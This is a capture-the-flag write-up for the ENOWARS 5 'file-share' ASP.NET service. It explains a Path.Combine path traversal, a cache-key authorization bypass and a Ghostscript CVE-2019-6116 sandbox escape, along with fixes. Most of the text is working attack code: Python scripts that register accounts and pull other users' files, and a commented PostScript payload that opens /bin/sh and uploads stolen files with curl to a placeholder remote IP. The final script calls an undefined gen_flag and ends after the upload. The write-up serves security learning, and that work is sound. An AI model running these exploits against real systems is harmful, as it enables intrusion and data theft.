ENOWARS 5 - file-share
13 July 2021 by jk
The file-share
service implements a webservice where users can upload files and share them with other users and also “convert” files.
Both back- and frontend are written in C# using the ASP.NET framework, with Blazor for the frontend, with the exception of the “convert” functionality, which is implemented as a shell-script using imagemagick in a separate docker container.
The API
The relevant API consists of the following endpoints:
/api/fileshare
(GET
): List my files/api/fileshare/<filename>
(GET
/POST
/DELETE
): Download/Upload/Delete file<filename>
/api/fileshare/convert/<filename>
(POST
): Upload and convert file<filename>
/api/fileshare/shared
(GET
), with parametersharedUser
: List files shared with me by usersharedUser
/api/fileshare/shared/<filename>
(GET
), with parametersharedUser
: Download file<filename>
shared with me by usersharedUser
/api/users
(GET
): List recent (max 10k) users/api/share
(GET
): List users I share with/api/share
(POST
): Share with users specified in json body/api/share/withme
(GET
): List users that share with me
User accounts are managed by ASP.NET’s IdentityUser
and identified using UIDs and a user’s files are stored under /app/files/<uid>
.
The Flagstore
Flags were stored by the gameserver as svg-files named supersecret.svg
, which included the flag in multiple places.
Bug 1: Path Traversal
The download functionality is implemented like this:
[HttpGet("{*fileName}")]
public async Task<IActionResult> GetFile(string fileName)
{
var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);
var filepath = Path.Combine(path, userId, fileName);
try
{
FileContentResult result = new FileContentResult(System.IO.File.ReadAllBytes(filepath), "application/octet-stream")
{
FileDownloadName = fileName
};
return result;
}
catch (FileNotFoundException)
{
return NotFound();
}
}
As shown, the filepath
is built from three components, path
(globally set to /app
), the user-id, and the requested fileName
taken from the URL.
However, the {*fileName}
allows us to provide an absolute path as the “file name”, and Path.Combine
will happily overwrite the previous parts of the path:
This method is intended to concatenate individual strings into a single string that represents a file path. However, if an argument other than the first contains a rooted path, any previous path components are ignored, and the returned string begins with that rooted path component
This allows us to download any file we wish by specifying its full path as the filename.
Exploit
Since we can obtain other user’s UIDs (from the /api/users
endpoint) and since the gameserver placed flags always in a file named supersecret.svg
, we can request the file /app/files/{uid}/supersecret.svg
and get the flag that way.
def exploit(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
users_req = sess.get(f'http://{target}:8001/api/users')
users = users_req.json()
for user in users:
uid = user['id']
try:
r = sess.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg')
if r.status_code == 200:
print(r.content)
except:
pass
Getting this exploit to work during the CTF took us longer than expected, mostly because the service uses OpenID connect and after messing about with a number of python libraries we settled on doing everything manually using only requests
(full exploit given at the end).
And since we opted for an exploit-first strategy, we even lost some flags to this rather simple bug.
Fix
Following the suggestion given in the documentation for Path.Combine
, we simply replaced all calls to Path.Combine
with Path.Join
.
Alternatively, checking the filename for slashes should have worked as well.
Bug 1.5: Path Traversal again
The same bug also exists when downloading shared files. Hoping that some teams might have fixed the issue only in the first place, we also built an exploit using the shared file download.
Exploit
This time, we need to register two users and have one share files with the other. Otherwise, nothingh changes:
def exploit(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# register second user, and share with first
sess2 = requests.Session()
email2 = randuser() + '@foomail.com'
password2 = '!23Qwe'
register(sess2, target, email2, password2)
auth(sess2, target)
user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# share stuff
r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])
users = sess.get(f'http://{target}:8001/api/users').json()
for user in users:
uid = user['id']
try:
r = sess2.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg', params={'sharedUser': user_id})
print(r.content)
except:
pass
Bug 2: Caching is hard
Full disclosure: We found this bug only in preparation for the write-up, but it explains why we still lost some flags after deploying the fix for the first bug.
When downloading shared files, a custom authorization attribute (CustomFileShareAuthorizationAttribute
) is used to check the request.
The core of this check is the following:
isAuthorized = _cache.GetOrCreate(currentUser, () =>
{
var sharedUser = (from c in dbcontext.Users where c.Id == sharedUserId select c).FirstOrDefault();
if (sharedUser == null)
{
throw new SharedUserNotExistentException();
}
if (sharedUser.SharedWithUsers == null || !sharedUser.SharedWithUsers.Any(item => item == currentUser))
{
return false;
}
return true;
});
In essence, this checks if the user from the sharedUser
parameter exists and whether the current user is in its SharedWithUser
list.
The result of this check is cached, however only the current user is used as the cache key.
As long as there is a cache entry for the custom user, we will thus always get the same authorization result, irrespective of the sharedUser
parameter.
Exploit
To exploit this, we simply need to ensure that we can get a cache-entry with true
for our user.
We can achieve this by simply creating two users, allowing sharing between them, and then access a shared file.
Afterwards, we can access everyones files, since the cache will always return true
for our user.
def exploit(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# register second user, and share with first
sess2 = requests.Session()
email2 = randuser() + '@foomail.com'
password2 = '!23Qwe'
register(sess2, target, email2, password2)
auth(sess2, target)
user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# share stuff
r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])
# add user to cache
r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': user_id})
r = sess2.get(f'http://{target}:8001/api/fileshare/shared/foobar', params={'sharedUser': user_id})
# get all users, hope on cache-hits
users = sess.get(f'http://{target}:8001/api/users').json()
for user in users:
uid = user['id']
try:
r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': uid})
for file in r.json():
r = sess2.get(f'http://{target}:8001/api/fileshare/shared/{file["name"]}', params={'sharedUser': uid})
print(r.content)
except:
pass
Note that we do not even need to upload an actual file to share, since the authorization code is run before everything else.
Another nice side-effect of this exploit is that it allows us the list other user’s files using the /api/fileshare/shared
endpoint, which allows us to download files without guessing filenames.
Fix
Using a (currentUser, sharedUserId)
-tuple as the cache-key might have worked during the CTF, but really the cache should then be invalidated when a user changes their sharing-settings.
The best “fix” here is therefore probably to just remove the cache altogether.
Bug 3: Ghostscript Command Execution
Disclosure again: also this bug was not found during the CTF, but we discovered the exploit later in our traffic dumps.
Users can “convert” files by uploading them to the special /api/fileshare/convert
endpoint.
Behind the scenes, this places the file in a special folder /app/files/convert/<uid>/
on which another Docker container is listening with inotify-wait
.
Upon notification, the bash script running in this second container then basically runs
convert -resize 50% "$srcfile" "$tmpsrcfile"
While this seems rather innocuous, for some filetype (postscript!), imagemagick’s convert
utility will call out to ghostscrit.
It also turns out that the container uses an older version of ghostscript (9.26), which is vulnerable to CVE-2019-6116, which can be used to achieve code execution.
In particular, this vulnerability allows postscript files to access an internal .forceput
function, which can be used to overwrite parts of ghostscript’s sandbox settings.
This allows it to access privileged files and devices, such as the %pipe%command
pseudo device, which is a ghostscript extension to the postscript standard and opens a pipe to a new process running the command command
.
With the ability to run arbitrary commands inside a container that has full access to all files, it is then rather trivial to obtain all flags.
Exploit
The bulk of the exploit is written in postscript.
Rather than copy the exploit we saw on the wire 1:1, we tried our best to paraphrase and comment it (Fortunately, the original exploit was nice enough to have comments like <- put your backconnect IP here
…).
Super-quick postscript 101:
postscript is executed in a stack-based VM, 42
places the number 42 on the stack, (Hello)
places the string Hello
on the stack, exch
calls the exchange function, which swaps the two topmost stack elements.
/foobar
places the name foobar on the stack, { cmd1 cmd 2 }
pushes a codeblock with two commands on the stack, def
calls the define function, which takes two arguments from the stack, a name and a codeblock and defines a new command with that name which will then execute the given code.
%!PS-Adobe-3.0
% define stack fill function
/fill { 0 exch 1 exch { exch } for } def
% replace error handlers for stackover- and -underflow- and typecheck- errors
errordict /stackoverflow {
pop
pop
errordict /stackunderflow {
pop
errordict /stackunderflow {
pop
errordict /stackunderflow {
pop
errordict /stackunderflow {
pop
errordict /stackoverflow {
pop
pop
()
()
errordict /typecheck {
pop
3 get
3 get
6 get
/forceput exch def
pop
} put
} put
0 300370 fill
} put
} put
} put
} put
} put
% define the function that leaks the forceput descriptor on the stack
/getForcePut systemdict /.origundefinefont get def
% fill up our stack
() 300371 fill
% trigger the function defined above
getForcePut
% overwrite parameters that allow us to access arbitrary files
systemdict /SAFER false forceput
systemdict /userparams get /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
save restore
% open a pipe to /bin/sh
(%pipe%/bin/sh) (w) file
% execute commands by writing to the pipe
(find /files -name supersecret.svg | xargs cat | curl http://<YOUR_REMOTE_IP>:1337 --upload-file -) writestring
The python-part of the exploit is then only needed to create a file-share account and upload the newly created file.
Fix
The obvious fix here is to update ghostscript :-)
But why was the old version running there in the first place?
A closer look at the Dockerfile
for the relevant container reveals the answer:
FROM imagick/imagemagick:latest
RUN apt-get update && apt-get install inotify-tools -y && rm -rf /var/lib/apt/lists/*
WORKDIR /
COPY convert.sh ./convert.sh
RUN chmod +x convert.sh
ENTRYPOINT ["/convert.sh"]
The sneaky line here is the first one, since imagick/imagemagick
is not an “official” imagemagick Dockerimage (there appears to be none), but was rather uploaded by community user imagick
, who joined dockerhub only beginning of May…
Final thoughts, and full exploit code
One of the nice things about CTFs is that you always learn new things. In this case:
- OpenID connect can be implemented in pure python requests, but there might be better ways.
- If code looks suspicious (like the cache in the
CustomFileShareAuthorizationAttribute
), it almost definitely is. - An excrutiating amount of detail about postscript.
- Do not trust enowars authors :-p
11/10 would pwn again!
Full exploit
#!/usr/bin/python3
import string
import random
import json
import hashlib
import requests
import base64
def randuser():
return random.choice(string.ascii_uppercase) + ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
def register(sess, target, email, password):
req = sess.get(f'http://{target}:8001/Identity/Account/Register')
token = req.text.split('__RequestVerificationToken')[1].split('value="')[1].split('"')[0]
sess.post(f'http://{target}:8001/Identity/Account/Register',
data={
'Input.Email': email,
'Input.Password': password,
'Input.ConfirmPassword': password,
'__RequestVerificationToken': token})
def auth(sess, target):
state = random.randbytes(16).hex()
code_verifier = ''.join(random.choice(string.ascii_letters+string.digits+'-._~') for _ in range(43))
code_challenge = base64.urlsafe_b64encode(hashlib.sha256(code_verifier.encode()).digest()).decode().rstrip('=')
req = sess.get(f'http://{target}:8001/connect/authorize',
params={
'client_id': 'FileShare.Client',
'redirect_uri': f'http://{target}:8001/authentication/login-callback',
'response_type': 'code',
'scope': 'FileShare.ServerAPI openid profile',
'state': state,
'code_challenge': code_challenge,
'code_challenge_method': 'S256',
'prompt': 'none'})
code = req.history[-1].headers['Location'].split('code=')[1].split('&')[0]
req = sess.post(f'http://{target}:8001/connect/token',
data={
'client_id': 'FileShare.Client',
'code': code,
'redirect_uri': f'http://{target}:8001/authentication/login-callback',
'code_verifier': code_verifier,
'grant_type': 'authorization_code'})
auth_token = req.json()['access_token']
sess.headers['Authorization'] = f'Bearer {auth_token}'
def exploit_path_traversal(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
users_req = sess.get(f'http://{target}:8001/api/users')
users = users_req.json()
for user in users:
uid = user['id']
try:
r = sess.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg')
if r.status_code == 200:
print(r.content)
except:
pass
def exploit_path_traversal_share(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# register second user, and share with first
sess2 = requests.Session()
email2 = randuser() + '@foomail.com'
password2 = '!23Qwe'
register(sess2, target, email2, password2)
auth(sess2, target)
user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# share stuff
r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])
users = sess.get(f'http://{target}:8001/api/users').json()
for user in users:
uid = user['id']
try:
r = sess2.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg', params={'sharedUser': user_id})
print(r.content)
except:
pass
def exploit_cache(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# register second user, and share with first
sess2 = requests.Session()
email2 = randuser() + '@foomail.com'
password2 = '!23Qwe'
register(sess2, target, email2, password2)
auth(sess2, target)
user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']
# share stuff
r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])
# add user to cache
r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': user_id})
r = sess2.get(f'http://{target}:8001/api/fileshare/shared/foobar', params={'sharedUser': user_id})
# get all users, hope on cache-hits
users = sess.get(f'http://{target}:8001/api/users').json()
for user in users:
uid = user['id']
try:
r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': uid})
for file in r.json():
r = sess2.get(f'http://{target}:8001/api/fileshare/shared/{file["name"]}', params={'sharedUser': uid})
print(r.content)
except:
pass
def exploit_cmd_injection(target):
sess = requests.Session()
email = randuser() + '@foomail.com'
password = '!23Qwe'
register(sess, target, email, password)
auth(sess, target)
flag = gen_flag()
with open('exploit.eps') as exploit_file:
sess.post(f'http://{target}:8001/api/fileshare/convert/exploit.eps', files={'file': ('exploit.eps', exploit_file)})